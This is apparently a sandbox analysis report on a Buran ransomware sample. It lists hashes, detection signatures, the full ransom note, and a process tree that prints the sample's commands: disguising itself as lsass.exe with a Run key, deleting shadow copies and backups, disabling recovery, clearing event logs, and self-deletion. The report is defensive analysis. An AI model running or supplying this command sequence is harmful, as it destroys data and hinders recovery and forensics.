Overview

overview

10

Static

static

97f9cd7c07...33.exe

windows7-x64

10

97f9cd7c07...33.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    145s
  • max time network
    125s
  • platform
    windows7_x64
  • resource
    win7-20220718-en
  • resource tags

    arch:x64arch:x86image:win7-20220718-enlocale:en-usos:windows7-x64system
  • submitted
    24-07-2022 15:00

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    97f9cd7c0791ecc4a5bd2ed4e79b8966e46cdcdf55287e43abf317ced4792433.exe

  • Size

    624KB

  • MD5

    e2c9e21bc2d59273ad13144b10e082f8

  • SHA1

    0fd4b5d955122d84552626d2634c62c78e800b7c

  • SHA256

    97f9cd7c0791ecc4a5bd2ed4e79b8966e46cdcdf55287e43abf317ced4792433

  • SHA512

    393ca8e5bf98120a4e0a8b6bab6f4f9582f3283ded401d7942ac8089a9b65d87b63ee66ac43f85de6b08ab914035e08c9b348dbd594688d2a8fee7df08dd7349

Score
10/10
buranevasionpersistenceransomwaresuricata

Malware Config

Extracted

Path

C:\!!! ALL YOUR FILES ARE ENCRYPTED !!!.TXT

Family

buran

Ransom Note
==== GERMAN ==== Alle Ihre Dateien, Dokumente, Fotos, Datenbanken und andere wichtige Dateien werden verschlusselt. Sie konnen es nicht selbst entschlusseln! Die einzige Methode Zum Wiederherstellen von Dateien muss ein eindeutiger privater Schlussel erworben werden. Nur wir konnen Ihnen diesen Schlussel geben und nur wir konnen Ihre Dateien wiederherstellen. Um sicher zu gehen, dass wir den Entschlusseler haben und er funktioniert, konnen Sie einen senden Senden Sie eine E-Mail an [email protected] oder [email protected] und entschlusseln Sie eine Datei kostenlos. Aber diese Datei sollte nicht wertvoll sein! Mochten Sie Ihre Dateien wirklich wiederherstellen? Schreiben Sie eine E-Mail an [email protected] [email protected] (reservieren) Ihre personliche ID: <! - ID -> Beachtung! * Benennen Sie verschlusselte Dateien nicht um. * Versuchen Sie nicht, Ihre Daten mit Software von Drittanbietern zu entschlusseln. Dies kann zu dauerhaftem Datenverlust fuhren. * Entschlusselung Ihrer Dateien mit Hilfe von Dritten moglich verursachen Sie erhohten Preis (sie addieren ihre Gebuhr zu unserem) oder Sie konnen Opfer eines Betrugs werden. ==== ENGLISH ==== All your files, documents, photos, databases and other important files are encrypted. You are not able to decrypt it by yourself! The only method of recovering files is to purchase an unique private key. Only we can give you this key and only we can recover your files. To be sure we have the decryptor and it works you can send an email [email protected] or [email protected] and decrypt one file for free. But this file should be of not valuable! Do you really want to restore your files? Write to email [email protected] [email protected] (reserve) Your personal ID: 10E7C7CA-9904-A917-933F-8A002BB7B478 Attention! * Do not rename encrypted files. * Do not try to decrypt your data using third party software, it may cause permanent data loss. * Decryption of your files with the help of third parties may cause increased price (they add their fee to our) or you can become a victim of a scam.

Signatures

  • Buran

    Ransomware-as-a-service based on the VegaLocker family first identified in 2019.

    ransomwareburan
  • suricata: ET MALWARE Buran Ransomware Activity M1

    suricata: ET MALWARE Buran Ransomware Activity M1

    suricata
  • suricata: ET MALWARE Observed Buran Ransomware UA (BURAN)

    suricata: ET MALWARE Observed Buran Ransomware UA (BURAN)

    suricata
  • Clears Windows event logs 1 TTPs 3 IoCs
    evasionransomware
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomware
  • Executes dropped EXE 4 IoCs
  • Deletes itself 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Enumerates connected drives 3 TTPs 24 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in Program Files directory 64 IoCs
  • Launches sc.exe 1 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Interacts with shadow copies 2 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Modifies system certificate store 2 TTPs 5 IoCs
    evasionspywaretrojan
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 50 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs
    evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\97f9cd7c0791ecc4a5bd2ed4e79b8966e46cdcdf55287e43abf317ced4792433.exe
    "C:\Users\Admin\AppData\Local\Temp\97f9cd7c0791ecc4a5bd2ed4e79b8966e46cdcdf55287e43abf317ced4792433.exe"
    1⤵
    • Loads dropped DLL
    • Modifies system certificate store
    • Suspicious use of WriteProcessMemory
    PID:540
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /e:on /c md "C:\Users\Admin\AppData\Roaming\Microsoft\Windows" & copy "C:\Users\Admin\AppData\Local\Temp\97f9cd7c0791ecc4a5bd2ed4e79b8966e46cdcdf55287e43abf317ced4792433.exe" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\lsass.exe" & reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /V "Local Security Authority Subsystem Service" /t REG_SZ /F /D "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\lsass.exe\" -start"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1468
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /V "Local Security Authority Subsystem Service" /t REG_SZ /F /D "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\lsass.exe\" -start"
        3⤵
        • Adds Run key to start application
        PID:1496
    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\lsass.exe
      "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\lsass.exe" -start
      2⤵
      • Executes dropped EXE
      • Enumerates connected drives
      • Modifies system certificate store
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1552
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /C bcdedit /set {default} bootstatuspolicy ignoreallfailures
        3⤵
          PID:612
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\system32\cmd.exe" /C bcdedit /set {default} recoveryenabled no
          3⤵
            PID:608
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /C wbadmin delete catalog -quiet
            3⤵
              PID:1612
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\system32\cmd.exe" /C wbadmin delete systemstatebackup
              3⤵
                PID:316
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\system32\cmd.exe" /C wbadmin delete systemstatebackup -keepversions:0
                3⤵
                  PID:1492
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\system32\cmd.exe" /C wbadmin delete backup
                  3⤵
                    PID:852
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\system32\cmd.exe" /C wmic shadowcopy delete
                    3⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1576
                    • C:\Windows\SysWOW64\Wbem\WMIC.exe
                      wmic shadowcopy delete
                      4⤵
                      • Suspicious use of AdjustPrivilegeToken
                      PID:636
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\system32\cmd.exe" /C vssadmin delete shadows /all /quiet
                    3⤵
                    • Suspicious use of WriteProcessMemory
                    PID:524
                    • C:\Windows\SysWOW64\vssadmin.exe
                      vssadmin delete shadows /all /quiet
                      4⤵
                      • Interacts with shadow copies
                      PID:868
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\system32\cmd.exe" /C reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f
                    3⤵
                      PID:1700
                      • C:\Windows\SysWOW64\reg.exe
                        reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f
                        4⤵
                          PID:1448
                      • C:\Windows\SysWOW64\cmd.exe
                        "C:\Windows\system32\cmd.exe" /C reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f
                        3⤵
                          PID:1428
                          • C:\Windows\SysWOW64\reg.exe
                            reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f
                            4⤵
                              PID:804
                          • C:\Windows\SysWOW64\cmd.exe
                            "C:\Windows\system32\cmd.exe" /C reg add "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers"
                            3⤵
                              PID:548
                              • C:\Windows\SysWOW64\reg.exe
                                reg add "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers"
                                4⤵
                                  PID:1688
                              • C:\Windows\SysWOW64\cmd.exe
                                "C:\Windows\system32\cmd.exe" /C attrib "%userprofile%\documents\Default.rdp" -s -h
                                3⤵
                                  PID:300
                                  • C:\Windows\SysWOW64\attrib.exe
                                    attrib "C:\Users\Admin\documents\Default.rdp" -s -h
                                    4⤵
                                    • Views/modifies file attributes
                                    PID:1612
                                • C:\Windows\SysWOW64\cmd.exe
                                  "C:\Windows\system32\cmd.exe" /C del "%userprofile%\documents\Default.rdp"
                                  3⤵
                                    PID:1064
                                  • C:\Windows\SysWOW64\cmd.exe
                                    "C:\Windows\system32\cmd.exe" /C wevtutil.exe clear-log Application
                                    3⤵
                                      PID:2044
                                      • C:\Windows\SysWOW64\wevtutil.exe
                                        wevtutil.exe clear-log Application
                                        4⤵
                                        • Clears Windows event logs
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:1068
                                    • C:\Windows\SysWOW64\cmd.exe
                                      "C:\Windows\system32\cmd.exe" /C wevtutil.exe clear-log Security
                                      3⤵
                                        PID:1008
                                        • C:\Windows\SysWOW64\wevtutil.exe
                                          wevtutil.exe clear-log Security
                                          4⤵
                                          • Clears Windows event logs
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:436
                                      • C:\Windows\SysWOW64\cmd.exe
                                        "C:\Windows\system32\cmd.exe" /C wevtutil.exe clear-log System
                                        3⤵
                                          PID:1308
                                          • C:\Windows\SysWOW64\wevtutil.exe
                                            wevtutil.exe clear-log System
                                            4⤵
                                            • Clears Windows event logs
                                            • Suspicious use of AdjustPrivilegeToken
                                            PID:952
                                        • C:\Windows\SysWOW64\cmd.exe
                                          "C:\Windows\system32\cmd.exe" /C sc config eventlog start=disabled
                                          3⤵
                                            PID:840
                                            • C:\Windows\SysWOW64\sc.exe
                                              sc config eventlog start=disabled
                                              4⤵
                                              • Launches sc.exe
                                              PID:656
                                          • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\lsass.exe
                                            "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\lsass.exe" -agent 0
                                            3⤵
                                            • Executes dropped EXE
                                            PID:588
                                          • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\lsass.exe
                                            "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\lsass.exe" -agent 1
                                            3⤵
                                            • Executes dropped EXE
                                            • Drops file in Program Files directory
                                            PID:1752
                                          • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\lsass.exe
                                            "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\lsass.exe" -agent 2
                                            3⤵
                                            • Executes dropped EXE
                                            PID:1052
                                        • C:\Windows\SysWOW64\cmd.exe
                                          "C:\Windows\system32\cmd.exe" /c for /l %x in (1,1,999) do ( ping -n 3 127.1 & del "C:\Users\Admin\AppData\Local\Temp\97f9cd7c0791ecc4a5bd2ed4e79b8966e46cdcdf55287e43abf317ced4792433.exe" & if not exist "C:\Users\Admin\AppData\Local\Temp\97f9cd7c0791ecc4a5bd2ed4e79b8966e46cdcdf55287e43abf317ced4792433.exe" exit )
                                          2⤵
                                          • Deletes itself
                                          • Suspicious use of WriteProcessMemory
                                          PID:684
                                          • C:\Windows\SysWOW64\PING.EXE
                                            ping -n 3 127.1
                                            3⤵
                                            • Runs ping.exe
                                            PID:1700
                                      • C:\Windows\system32\vssvc.exe
                                        C:\Windows\system32\vssvc.exe
                                        1⤵
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:1832

                                      Network

                                      MITRE ATT&CK Enterprise v6

                                      Replay Monitor

                                      Loading Replay Monitor...

                                      Downloads

                                      • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\07CEF2F654E3ED6050FFC9B6EB844250_3F26ED5DE6B4E859CCCA6035ECB8D9CB
                                        Filesize

                                        2KB

                                        MD5

                                        1699855cd5e006d467193f752c958899

                                        SHA1

                                        11af036e632ecfb1d99c908529663597d2795786

                                        SHA256

                                        bcb990f29d151ab7ea6dc20723f8d065ea534f1320f6c383758ea7831a30a7ea

                                        SHA512

                                        e3f66f158b81426b62bd6aff0da13401acaa7b639686ad8ac589a8f22dfbf6d039d67ccffa2aee482b23176b9d19b7a256808e2d6037584725aadb26e7cf263b

                                        Download Submit

                                      • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\204C1AA6F6114E6A513754A2AB5760FA_8AE57F9FAAC778EA4099F469BEEE4C46
                                        Filesize

                                        472B

                                        MD5

                                        f219eb248728be0747ada8ad649b75d8

                                        SHA1

                                        ab0f9fd79995b2328bd4d996e60b0065f5bf30d5

                                        SHA256

                                        a7af1395352b84f79a6ada41b92029bd542d2d8b74bb2713a5aaf49163d47076

                                        SHA512

                                        5ce63a21ef03d583b563df5d03d613562b84068de20a8b1664bcdb73bee42380032d46b49c64210722f29653e25e5deff596b4b7f8f0206996f032bcdcdb36d0

                                        Download Submit

                                      • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\572BF21E454637C9F000BE1AF9B1E1A9
                                        Filesize

                                        506B

                                        MD5

                                        3f2519a65dd6df8035110d6fc9694868

                                        SHA1

                                        b932411e272bb898b178b1e789c33ca1e61ea5d9

                                        SHA256

                                        e7a8870790b22abcbfac9c155411ca1fa83e1902cc054f52336d1746a7c205e8

                                        SHA512

                                        143064ceb318f1b2e389f53d36899b0597f8e169b5536340bf64f4aa89b5c23b62f28e4bf406f5d5dad23f650560b90cfb9dbc8958c917746b0bb3bd73acda46

                                        Download Submit

                                      • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\07CEF2F654E3ED6050FFC9B6EB844250_3F26ED5DE6B4E859CCCA6035ECB8D9CB
                                        Filesize

                                        398B

                                        MD5

                                        2134f7d798ae5c40f911c921be136a2f

                                        SHA1

                                        59ff08115d900941d84ff2eaa24b839ca6362229

                                        SHA256

                                        f44cd222eb5f6c99ddf05fdb89b63cac204fc52f7f27765b6fd592339058aa52

                                        SHA512

                                        2a7c051f72e6dbabbd43f5093ff69787b29822130e0f3de3b1f127ebd73769cd89ace42cc3bcaddfe8c4ec820a0eddabac9afa9806ea7afe30a3999055c71775

                                        Download Submit

                                      • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\204C1AA6F6114E6A513754A2AB5760FA_8AE57F9FAAC778EA4099F469BEEE4C46
                                        Filesize

                                        402B

                                        MD5

                                        068f6cfd2a9c6c755c1b8922de13fbe4

                                        SHA1

                                        962d1e3c9392ad148d1b8f4f2363c0e45245c2f3

                                        SHA256

                                        6de86da5873fee78cb05d8a0073192146aae7cb60b38e00b6ce2747354001241

                                        SHA512

                                        838a22e5034fad4570a7dd3e05b3eb5bc7a1d8ec1cc98eea86294d659758c821a6231835e46421b90f5ceb111f253f490bf86ea23bf56e1ae91a6878dd56dc40

                                        Download Submit

                                      • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\572BF21E454637C9F000BE1AF9B1E1A9
                                        Filesize

                                        248B

                                        MD5

                                        e3eae94902bcbd268207094310b956d7

                                        SHA1

                                        f7c07445739685e37072b8c5663caa05c9691971

                                        SHA256

                                        de50d9c5401e2ef38f77ffad9957ee51fadd4db071962ec792da4038c99569b0

                                        SHA512

                                        5b428cc33fcd03f290aa3de766f4aad1ec5a22c91f861ebf4124d20be7da2121c8b9052915f41fb38d55539ca403e46486a82149815c296bce2da292e0c249f7

                                        Download Submit

                                      • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
                                        Filesize

                                        340B

                                        MD5

                                        513bb7c6691d1b1152231535a803e511

                                        SHA1

                                        4fcca10838f829dae7f1bbbe61b1e7a8724a6081

                                        SHA256

                                        c60662f9be475289ba821e2652fb5299d8d08404dc36a32ed936069c5a6e5c1d

                                        SHA512

                                        86bad681f0dfa439b687b1e258a439c395b3f5d28159ccf2817e90d493854540ca629ca709d9a2945bb1eed4d40c7a7348de1a4430772bda42d0295af2afe483

                                        Download Submit

                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\054BCZHL\92J2VHTG.htm
                                        Filesize

                                        184B

                                        MD5

                                        b1cd7c031debba3a5c77b39b6791c1a7

                                        SHA1

                                        e5d91e14e9c685b06f00e550d9e189deb2075f76

                                        SHA256

                                        57ba053f075e0b80f747f3102ed985687c16a8754d109e7c4d33633269a36aaa

                                        SHA512

                                        d2bbefdc1effb52a38964c4cec5990a5a226248eca36f99e446c0c5704436f666bf1cb514e73b8991411d497d3325ecc646cbd5065c364e92ab6b9c5f1ad4a72

                                        Download Submit

                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\RVFTVHJ0\E3B3BQDR.htm
                                        Filesize

                                        18KB

                                        MD5

                                        19cb5295e21160d78213d3ccc33b8f75

                                        SHA1

                                        d70bc890627b2dd33479eff5d2ffc8aff40a534b

                                        SHA256

                                        7810c957fdddcb7e1477957c0b1f6e90cbaf2bec084ede2a9aa5190d131084c8

                                        SHA512

                                        5b437b9055cdb29e0074fe493c2281af5f6bc4697e6f60d22329fa606c09bd4ffe8c0e50f98c2a12233eac00c480bc38ded1d8431ed771a4495955d865607c5e

                                        Download Submit

                                      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\lsass.exe
                                        Filesize

                                        624KB

                                        MD5

                                        e2c9e21bc2d59273ad13144b10e082f8

                                        SHA1

                                        0fd4b5d955122d84552626d2634c62c78e800b7c

                                        SHA256

                                        97f9cd7c0791ecc4a5bd2ed4e79b8966e46cdcdf55287e43abf317ced4792433

                                        SHA512

                                        393ca8e5bf98120a4e0a8b6bab6f4f9582f3283ded401d7942ac8089a9b65d87b63ee66ac43f85de6b08ab914035e08c9b348dbd594688d2a8fee7df08dd7349

                                        Download Submit

                                      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\lsass.exe
                                        Filesize

                                        624KB

                                        MD5

                                        e2c9e21bc2d59273ad13144b10e082f8

                                        SHA1

                                        0fd4b5d955122d84552626d2634c62c78e800b7c

                                        SHA256

                                        97f9cd7c0791ecc4a5bd2ed4e79b8966e46cdcdf55287e43abf317ced4792433

                                        SHA512

                                        393ca8e5bf98120a4e0a8b6bab6f4f9582f3283ded401d7942ac8089a9b65d87b63ee66ac43f85de6b08ab914035e08c9b348dbd594688d2a8fee7df08dd7349

                                        Download Submit

                                      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\lsass.exe
                                        Filesize

                                        624KB

                                        MD5

                                        e2c9e21bc2d59273ad13144b10e082f8

                                        SHA1

                                        0fd4b5d955122d84552626d2634c62c78e800b7c

                                        SHA256

                                        97f9cd7c0791ecc4a5bd2ed4e79b8966e46cdcdf55287e43abf317ced4792433

                                        SHA512

                                        393ca8e5bf98120a4e0a8b6bab6f4f9582f3283ded401d7942ac8089a9b65d87b63ee66ac43f85de6b08ab914035e08c9b348dbd594688d2a8fee7df08dd7349

                                        Download Submit

                                      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\lsass.exe
                                        Filesize

                                        624KB

                                        MD5

                                        e2c9e21bc2d59273ad13144b10e082f8

                                        SHA1

                                        0fd4b5d955122d84552626d2634c62c78e800b7c

                                        SHA256

                                        97f9cd7c0791ecc4a5bd2ed4e79b8966e46cdcdf55287e43abf317ced4792433

                                        SHA512

                                        393ca8e5bf98120a4e0a8b6bab6f4f9582f3283ded401d7942ac8089a9b65d87b63ee66ac43f85de6b08ab914035e08c9b348dbd594688d2a8fee7df08dd7349

                                        Download Submit

                                      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\lsass.exe
                                        Filesize

                                        624KB

                                        MD5

                                        e2c9e21bc2d59273ad13144b10e082f8

                                        SHA1

                                        0fd4b5d955122d84552626d2634c62c78e800b7c

                                        SHA256

                                        97f9cd7c0791ecc4a5bd2ed4e79b8966e46cdcdf55287e43abf317ced4792433

                                        SHA512

                                        393ca8e5bf98120a4e0a8b6bab6f4f9582f3283ded401d7942ac8089a9b65d87b63ee66ac43f85de6b08ab914035e08c9b348dbd594688d2a8fee7df08dd7349

                                        Download Submit

                                      • \Users\Admin\AppData\Roaming\Microsoft\Windows\lsass.exe
                                        Filesize

                                        624KB

                                        MD5

                                        e2c9e21bc2d59273ad13144b10e082f8

                                        SHA1

                                        0fd4b5d955122d84552626d2634c62c78e800b7c

                                        SHA256

                                        97f9cd7c0791ecc4a5bd2ed4e79b8966e46cdcdf55287e43abf317ced4792433

                                        SHA512

                                        393ca8e5bf98120a4e0a8b6bab6f4f9582f3283ded401d7942ac8089a9b65d87b63ee66ac43f85de6b08ab914035e08c9b348dbd594688d2a8fee7df08dd7349

                                        Download Submit

                                      • \Users\Admin\AppData\Roaming\Microsoft\Windows\lsass.exe
                                        Filesize

                                        624KB

                                        MD5

                                        e2c9e21bc2d59273ad13144b10e082f8

                                        SHA1

                                        0fd4b5d955122d84552626d2634c62c78e800b7c

                                        SHA256

                                        97f9cd7c0791ecc4a5bd2ed4e79b8966e46cdcdf55287e43abf317ced4792433

                                        SHA512

                                        393ca8e5bf98120a4e0a8b6bab6f4f9582f3283ded401d7942ac8089a9b65d87b63ee66ac43f85de6b08ab914035e08c9b348dbd594688d2a8fee7df08dd7349

                                        Download Submit

                                      • memory/540-57-0x0000000000390000-0x00000000003F2000-memory.dmp

                                        Filesize

                                        392KB

                                        Download

                                      • memory/540-56-0x0000000000400000-0x00000000004A2000-memory.dmp

                                        Filesize

                                        648KB

                                        Download

                                      • memory/540-55-0x00000000758D1000-0x00000000758D3000-memory.dmp

                                        Filesize

                                        8KB

                                        Download

                                      • memory/540-66-0x0000000000400000-0x00000000004A2000-memory.dmp

                                        Filesize

                                        648KB

                                        Download

                                      • memory/540-54-0x0000000000390000-0x00000000003F2000-memory.dmp

                                        Filesize

                                        392KB

                                        Download

                                      • memory/588-121-0x0000000000400000-0x00000000004A2000-memory.dmp

                                        Filesize

                                        648KB

                                        Download

                                      • memory/588-120-0x0000000000230000-0x0000000000292000-memory.dmp

                                        Filesize

                                        392KB

                                        Download

                                      • memory/588-117-0x0000000000230000-0x0000000000292000-memory.dmp

                                        Filesize

                                        392KB

                                        Download

                                      • memory/1052-124-0x00000000002D0000-0x0000000000332000-memory.dmp

                                        Filesize

                                        392KB

                                        Download

                                      • memory/1052-123-0x0000000000400000-0x00000000004A2000-memory.dmp

                                        Filesize

                                        648KB

                                        Download

                                      • memory/1052-118-0x00000000002D0000-0x0000000000332000-memory.dmp

                                        Filesize

                                        392KB

                                        Download

                                      • memory/1552-72-0x0000000000400000-0x00000000004A2000-memory.dmp

                                        Filesize

                                        648KB

                                        Download

                                      • memory/1552-71-0x0000000001CB0000-0x0000000001D12000-memory.dmp

                                        Filesize

                                        392KB

                                        Download

                                      • memory/1552-113-0x0000000000400000-0x00000000004A2000-memory.dmp

                                        Filesize

                                        648KB

                                        Download

                                      • memory/1752-116-0x0000000000400000-0x00000000004A2000-memory.dmp

                                        Filesize

                                        648KB

                                        Download

                                      • memory/1752-115-0x00000000002A0000-0x0000000000302000-memory.dmp

                                        Filesize

                                        392KB

                                        Download

                                      • memory/1752-125-0x0000000000400000-0x00000000004A2000-memory.dmp

                                        Filesize

                                        648KB

                                        Download